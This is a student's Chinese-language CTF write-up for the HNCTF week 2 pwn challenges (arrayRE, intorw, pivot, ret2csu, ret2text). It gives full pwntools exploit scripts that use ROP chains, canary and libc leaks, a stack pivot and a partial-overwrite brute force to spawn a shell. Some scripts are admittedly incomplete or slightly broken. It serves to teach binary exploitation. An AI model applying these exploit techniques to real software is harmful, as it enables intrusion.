hnctf-pwn-week2

目录

 

arrayRE

 intorw

pivot:

ret2csu

ret2text


 

arrayRE

 

考察的是逆向能力,可是逆向的脚本我不会写...QAQ

e10f40fe3b75446983dfad7cf6c18b37.png

045dc7723db841f09b323776b07c648a.png

strcmp(a,b):比较字符串a,b,

如果相同,返回0;

比较ASCII码,a>b,返回正数,a<b,返回负数

给出了一个输入的范围,输入这个范围内的s,然后把一串数字赋给了s2,进行判断,if(1)可执行if语句,如果s和s2的前25个数字相等,就可以执行sh

逆向的脚本
#arr[i+1]_ = (35*arr_[i] + 18*(arr_[i] + i + 2) + arr[i+1] + 3) % 10 

from unicodedata import decimal


s = "831654239123423452610584"

def encrypt(x,y,i):
    return (35*x + 18*( x + i) + 2 + y +  3 ) %10
arr=[]
for i in s:
    arr.append(int(i))
ans = [8]*24
for i in range(0,23):
    for j in range(10):
        if(encrypt(arr[i],j,i) == arr[i+1]):
            ans[i+1] = j

for i in ans:
    print(i,end='')
from pwn import*
p=remote('43.143.7.97',28908)
#p=process('./arrayRE')
p.recvuntil('user name:')
p.sendline('aa')
p.recvuntil('password:')
p.send(str(849282549522298884940009))
p.interactive()

ca2813dbd6de42ad8274222ce0cf433d.png

 intorw

orw是程序禁用了system,execve等系统调用,只可以调用open,read,write等函数,就和普通的rop差不多,用seccomp-tools可以查看系统允许调用的函数

efaefe3dbf614a38bfcff845feccc11c.png

 a703da69f2aa4f33acbf1449983c18da.png

 bitschange函数会将v2从int型转换为unsigned int型,输入-1就会使v3变成一个很大的数字,从而造成缓冲区溢出,可以利用vuln函数泄露Libc,再返回vuln函数执行orw

exp:
from pwn import *
context.log_level='debug'
p=process('./intorw')
elf=ELF('./intorw')
libc=ELF('./libc.so.6')
pop_rdi=0x0400ad3 #ROPgadget --binary intorw --only "pop|ret"
pop_rsi_r15=0x00400ad1
puts_got=0x00600FC0
puts_plt=0x00400760
read_got=0x600FD8
vuln=0x04009c4
ret=0x0400726
pop_addr=0x0400ACA 
mov_addr=0x00400AB0
flag=0x0601046 #通过gift的地址数出来的
bss=0x0601100
p.recvuntil('Please enter how many bits you want to read')
p.sendline('-1') #造成溢出
p.recvuntil('Please enter what you want to read:')
payload=b'a'*0x28+p64(pop_rdi)+p64(puts_got)+p64(puts_plt)+p64(vuln)
p.sendline(payload)
puts_addr=u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
print ("puts_addr:",hex(puts_addr))
libc_base=puts_addr-libc.sym['puts']
print ("libc_base:",hex(libc_base))
binsh=libc_base+next(libc.search(b"/bin/sh\x00"))
sys=libc_base+libc.sym['system']
open_addr=libc_base+libc.sym['open']
write_addr=libc_base+libc.sym['write']
read_addr=libc_base+libc.sym['read'] #执行orw
p.recvuntil('Please enter how many bits you want to read') #重新回到vuln函数,此时已经通过vuln泄露函数的地址和偏移
p.sendline('-1')
gdb.attach(p)
pause()
p.recvuntil('Please enter what you want to read:')
payload=b'a'*0x28+p64(pop_rdi)+p64(flag)+p64(pop_rsi_r15)+p64(0)+p64(0)+p64(open_addr)
payload+=p64(pop_addr)+p64(0)+p64(1)+p64(read_got)+p64(0x3)+p64(bss)+p64(0x30)+p64(mov_addr)+b'a'*(0x8+8*6)
payload+=p64(pop_rdi)+p64(bss)+p64(puts_plt) #这个payload太长了,我还没懂
p.sendline(payload)
p.interactive()

pivot:

考察的是canary绕过,栈迁移,当程序开启canary时,不知道canary的值,就无法进行rop劫持程序流程,

canary绕过有两种方式,一是爆破,二是通过格式化漏洞输出canary并利用溢出覆盖canary从而达到绕过

这篇博客栈迁移感觉讲的很不错,

栈迁移的原因是想要栈溢出去get shell,但是栈的空间不够,所以需要ret跳转到一个我们设置好的地址,即栈迁移

53128b65dfad4fd4a54408903ac8dab3.png

89c33b6252844d888f4510f4cab15af0.png 

 可以确定一个大概的思路是通过printf函数泄露canary,将canary值打印出来,这里需要用到gdb调试,写入aaaa去看看canary的具体位置,然后通过寄存器是返回地址为函数重新开始的位置,再使用rop泄露函数地址,接下来返回地址再回到函数开头,想利用栈溢出传递shell,可是空间不够,就用到了栈迁移,借用寄存器使函数返回到具体位置进行getshell,

from pwn import*
p=process('./pivot')
libc=ELF('./libc.so.6')
context.log_level='debug'
#泄露canary
p.recvuntil('Name:')
start_addr=0x0004010D0
pop_rdi=0x00401343
ret=0x0040101a
leave_ret=0x00401213
payload='a'*0x29
p.send(payload)
p.recvuntil(payload)
canary=u64(p.recv(7).rjust(8,b'\x00'))
print ('canary=',hex(canary))
payload=b'a'*0x108+p64(canary)+b'a'*8+p64(start_addr)
p.send(payload)
#泄露libc,函数地址
p.recvuntil('Name:\n')
payload='a'*0x38
p.send(payload)
p.recvuntil(payload)
__libc_start_call_main=u64(p.recv(6).ljust(8,b'\x00'))-128
print ("__libc_start_call_main=",hex(__libc_start_call_main))
libc_base=__libc_start_call_main-0x29d10
print ("libc_base=",hex(libc_base))
sys=libc_base+libc.sym['system']
binsh=libc_base+next(libc.search(b"/bin/sh\x00"))
print ("sys=",hex(sys))
payload=b'a'*0x108+p64(canary)+b'a'*8+p64(start_addr)
p.send(payload)
#通过rop getshell
p.recvuntil('Name:\n')
#gdb.attach(p)
#pause()
payload='a'*0x58
p.send(payload)
p.recvuntil(payload)
stack=u64(p.recv(6).ljust(8,b'\x00'))
print ("stack=",hex(stack))
buf=stack-0x268
print("buf_addr=",hex(buf))
payload=b'a'*8+p64(ret)+p64(pop_rdi)+p64(binsh)+p64(sys)
payload=payload.ljust(0x108,b'a')
payload+=p64(canary)+p64(buf)+p64(leave_ret)
p.sendline(payload)
p.interactive()

呜呜呜只能确定大概的思路了,exp具体咋写的,,我的gdb还没玩熟练,下次再补充

ret2csu

考查知识点,ret2csu,只需要控制寄存器就行了,用gdb查一下需要的寄存器的位置

 

04240d2a863f424196c725cfbb4fcfa2.png

225e113b5ef142c7878bc713dfc6f049.png 

 

from pwn import*
p=remote('43.143.7.97',28653)
libc=ELF('./libc.so.6')
write_got=0x404018
main_addr=0x04011DC
pop_addr=0x04012AA
mov_addr=0x00401290
pop_rdi=0x04012b3
ret=0x040101a
payload=b'a'*0x108+p64(pop_addr)+p64(0)+p64(1)+p64(1)+p64(write_got)+p64(8)+p64(write_got)+p64(mov_addr)+b'a'*(0x8+8*6)+p64(main_addr)# 这个是brop
p.recvuntil('Input:\n')
p.sendline(payload)
write_addr=u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
libc_base=write_addr-libc.sym['write']
sys=libc_base+libc.sym['system']
binsh=libc_base+next(libc.search(b"/bin/sh\x00"))
payload=b'a'*0x108+p64(ret)+p64(pop_rdi)+p64(binsh)+p64(sys)#这个是rop
p.recvuntil('Input:\n')
p.sendline(payload)
p.interactive()

ret2text

考察partial overwrite,程序开启了pie,但是后三个地址是可确定的,倒数第四个地址不能确定,有1/16的机会对,写一个程序,自动运行

就是一个简单的栈溢出,但是因为地址随机化,所以需要用到pie绕过的知识

abdf22dbdf4140eaa5a41ef0e22f685b.png

5cd8a13c5a5e43f494fa8435163de970.png 

from pwn import *
# context.log_level='debug'
elf=ELF('./ret2text')

while True:
    try:
        r=remote("43.143.7.97",28400)
        #r=process('./ret2text')
        r.recvuntil("It's a easy challenge")
        payload=b'a'*0x108+b'\xe3\x51'#大端序存储
        #gdb.attach(r)
        r.send(payload)
        r.interactive()
    except:
        r.close()
        Continue

这个题好气,gdb想看看为什么第四位不一样,结果一直不行,后面问了学长才知道这个是22版本的,16的不行...但是通过学长的gdb也知道了倒数第四位的地址是随机化的

嘶,暂且先这样吧,后面的沙箱有点难呀,等放假回家找个时间再写!

 

评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值